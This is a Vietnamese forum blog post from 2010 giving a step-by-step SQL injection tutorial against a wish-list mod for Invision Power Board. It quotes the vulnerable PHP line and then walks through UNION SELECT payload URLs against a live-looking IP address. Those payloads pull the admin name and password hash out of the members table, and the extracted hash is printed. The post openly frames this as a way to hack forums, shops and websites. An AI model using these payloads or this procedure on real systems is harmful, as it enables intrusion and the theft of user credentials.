BLOG OF H7T_2002

Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.
BLOG OF H7T_2002

Trang cá nhân của H7T_2002++


    Tư duy SQL-Injection

    avatar
    h7t_2002
    --[DEVELOPER]--
    --[DEVELOPER]--


    Tổng số bài gửi : 67
    Join date : 01/06/2009
    Age : 33
    Đến từ : /dev/null

    Tư duy SQL-Injection Empty Tư duy SQL-Injection

    Bài gửi by h7t_2002 Thu Jul 08, 2010 7:45 am

    Nghiên cứu về cách thức khai thác lỗi SQL inject trong Forum:

    Việc hack forum dính SQl inject là cũng cơ bản khá giống việc hack SQL inject trong các SHOP,WEB mà chúng ta đã hack thôi! kiến thức để tìm hiểu thì bạn chỉ cần biết một ít câu lệnh SQL và thông thạo việc sử dụng ,cài đặt, quản lý Forum là ok!

    Hò! Bắt đầu nào:

    Việc tìm ra một Site dính SQL thì chúng ta có thể sử dụng BUG được puplic trên các diendan về hacking ! còn khi mà người ta đã cho mình Code Exploitx rồi thì chẳng còn gì để nói! nhưng nếu người ta không public thì chỉ còn cách tự tìm lấy thôi! Tôi sẽ trình bày cho bạn thật dễ hiểu và sẽ dùng DEMO để cho các bạn thực hành luôn!

    1. chúng ta sẽ thực hành với lỗi Mod UOCNGUYEN :

    Trong Code Uocnguyen của nó! thì có đoạn:

    Trích:
    function showwish(){
    global $DB, $ibforums, $std;
    $wish = $ibforums->input['id'];
    $DB->query( "SELECT * FROM ibf_wish_main WHERE ID LIKE {$wish} LIMIT 1");


    đoạn code bị lỗi là: Trích:

    $wish = $ibforums->input['id'];



    vì giá trị id được input vào không được kiểm tra là dạng number hay char ... nên nó bị dính lỗi SQl inject.

    link bị lỗi của nó:



    http://72.36.192.69/~phucducc/demo/uocnguy...wwish&id=1'

    bạn nhập user/pass: demo / demo vào để xem !

    xuất hiện thông báo lỗi:

    Trích:
    mySQL query error: SELECT * FROM ibf_wish_main WHERE ID LIKE 1' LIMIT 1

    mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    mySQL error code:
    Date: Wednesday 22nd of March 2006 02:51:09 AM


    hò! Chúng ta chú ý đến cái đoạn này trong thông báo lỗi : Trích:
    SELECT * FROM ibf_wish_main WHERE ID LIKE 1' LIMIT 1

    đây là câu lệnh truy vấn mà sử dụng để lấy các thông tin về phần uocnguyen . do ID không được kiểm soát nên khi thêm dấu phẩy vào thì nó báo lỗi! bây giờ chúng ta sẽ đi nghiên cứu cách để lấy các dữ liệu về mật khẩu của admin :

    Nếu bạn đọc được SQL thì sẽ hiểu là dấu * trên là chỉ nó lựa chọn truy vấn mọi colum có trong table ibf_wish_main ! vậy bây giờ ta sẽ lợi dụng lỗi SQL injec để truy vấn
    các thông tin cần thiết trong table ibf_members (là nới chứa các thông tin về MEM)

    để bắt đầu hack thì chúng ta phải vô hiệu hóa câu truy vấn của nó! nghĩa là làm cho câu lệnh truy vấn trên của nó không trả về giá trị gì cả! và đó là lý do mà khi các bạn đọc các code exploixt của người khác thì các bạn thấy có mấy dấu là lạ sau link lỗi của nó! chúng ta có các ký tự thường hay dùng để vô hiệu hóa câu lệnh truy vấn của Victim : /* hoặc ) hoặc )/ hoặc ); ......... hoặc là đưa giá trị input của nó thành giá trị âm! nghĩa là nó đang là 1 thì mình cho về -1 ! có khi là vừa thêm giá trị âm vừa thêm các ký tự metal /* ... phía sau nũă! các bạn nghiên cứu thêm nhé! bây giờ! thì tôi dùng cách đưa giá trị input của nó thành âm để vô hiệu hóa câu lệnh truy vấn của nó: như sau:
    http://72.36.192.69/~phucducc/demo/uocnguy...=showwish&id=-1

    bạn thấy đấy! phần "uớc nguyện là " đã không còn giá trị gì! vì câu lệnh truy vấn của nó đã bị vô hiệu hóa! nên nó chẳng trả về giá trị gì nữa! và bây giờ chúng ta có thể thêm vào sau nó một câu lệnh truy vấn của chúng ta và nó sẽ Run ngay!

    hò! đến đây thì chúng ta bắt đầu sử dụng câu lệnh UNION ! nó có nhiệm vụ kết hợp 2 câu lệnh SELECT với nhau (tất nhiên là 2 câu lệnh SELECT phải có cùng các table và colum! ) tôi khuyên bạn chưa biết thì nên tìm đọc phần câu lệnh UNION đi! OK!

    bước quan trọng là đây:

    các bạn nhìn vào hình bên dưới:

    thì các bạn sẽ thấy là trogn table ibf_wish_main có 8 column! và vấn đề là cái MOD uocnguyen được xây dụng để chỉ có 8 column trogn table của nó! nên câu lệnh truy vấn của nó khi dùng ký tự * là để thể hiện sự truy vấn 8 column đó! và như thế thì câu lệnh SELECT thứ 2 của chúng ta cũng sẽ phải là chỉ có 8 column! và có 2 cách để thực hiện câu truy vấn của bạn: bạn có thể làm như sau:

    a. Select lần lượt các column của nó từ giá trị 1 đến khi nào mà nó báo hết rồi! (không trả thêm giá trị nào nữa!) nghĩa là bạn thay * bằng giá trị 1,2,3,4,..... bạn hiểu rồi chứ! vậy thì ta sẽ có câu lệnh truy vấn của Mođ uocnguyen là:
    http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
    và tiếp theo http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT

    ...............

    cho đến :

    http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT


    thì ta được là:

    Trích:
    Ước nguyện của 2
    2 đến từ 3
    2 ước nguyện vào ngày 2000-00-04

    Ước nguyện là :
    8


    vậy thì chúng ta có là phần hiện thị của nó là phần số 2 và số 8! đó chính là các giá trị của column trong table ibf_wish_main.

    bây giờ thì bạn chỉ cần thay cái gía trị của table ibf_wish_main thành table ibf_members và ở column số 2 thì bạn thay vào đó column tên của admin là name
    và column thứ 8 password !!!! (các column của ibf_members thì bạn vào trong phpmyadmin rồi nghiên cứu! ở đây mình chỉ hướng dẫn cho các bạn đã biết vè nó rồi! OK!)

    và bây giờ câu lệnh của nó là :

    http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT 1,name,3,4,5,6,7,password FROM ibf_members WHERE ID LIKE 1

    bạn đã thấy gì chưa?

    Ước nguyện của admin
    admin đến từ 3
    admin ước nguyện vào ngày 2000-00-04

    Ước nguyện là :


    8005125c396680661893d36fc0723158


    b. cách thứ 2 là bạn đã kinh nghiệm và như thế thì bạn chỉ cần vào tìm hiểu xem table của cái phần bị lỗi đó có bao nhiêu column! và bạn thay dấu * bằng từng đó giá trị! ở đây là 8 column và sẽ là 1,2,3,4,5,6,7,8 và sau đó! lại Run trên Browse để xem column nào hiển thị ra! thì thay các giá trị tương ứng vào! OK!

      Hôm nay: Mon May 20, 2024 8:46 am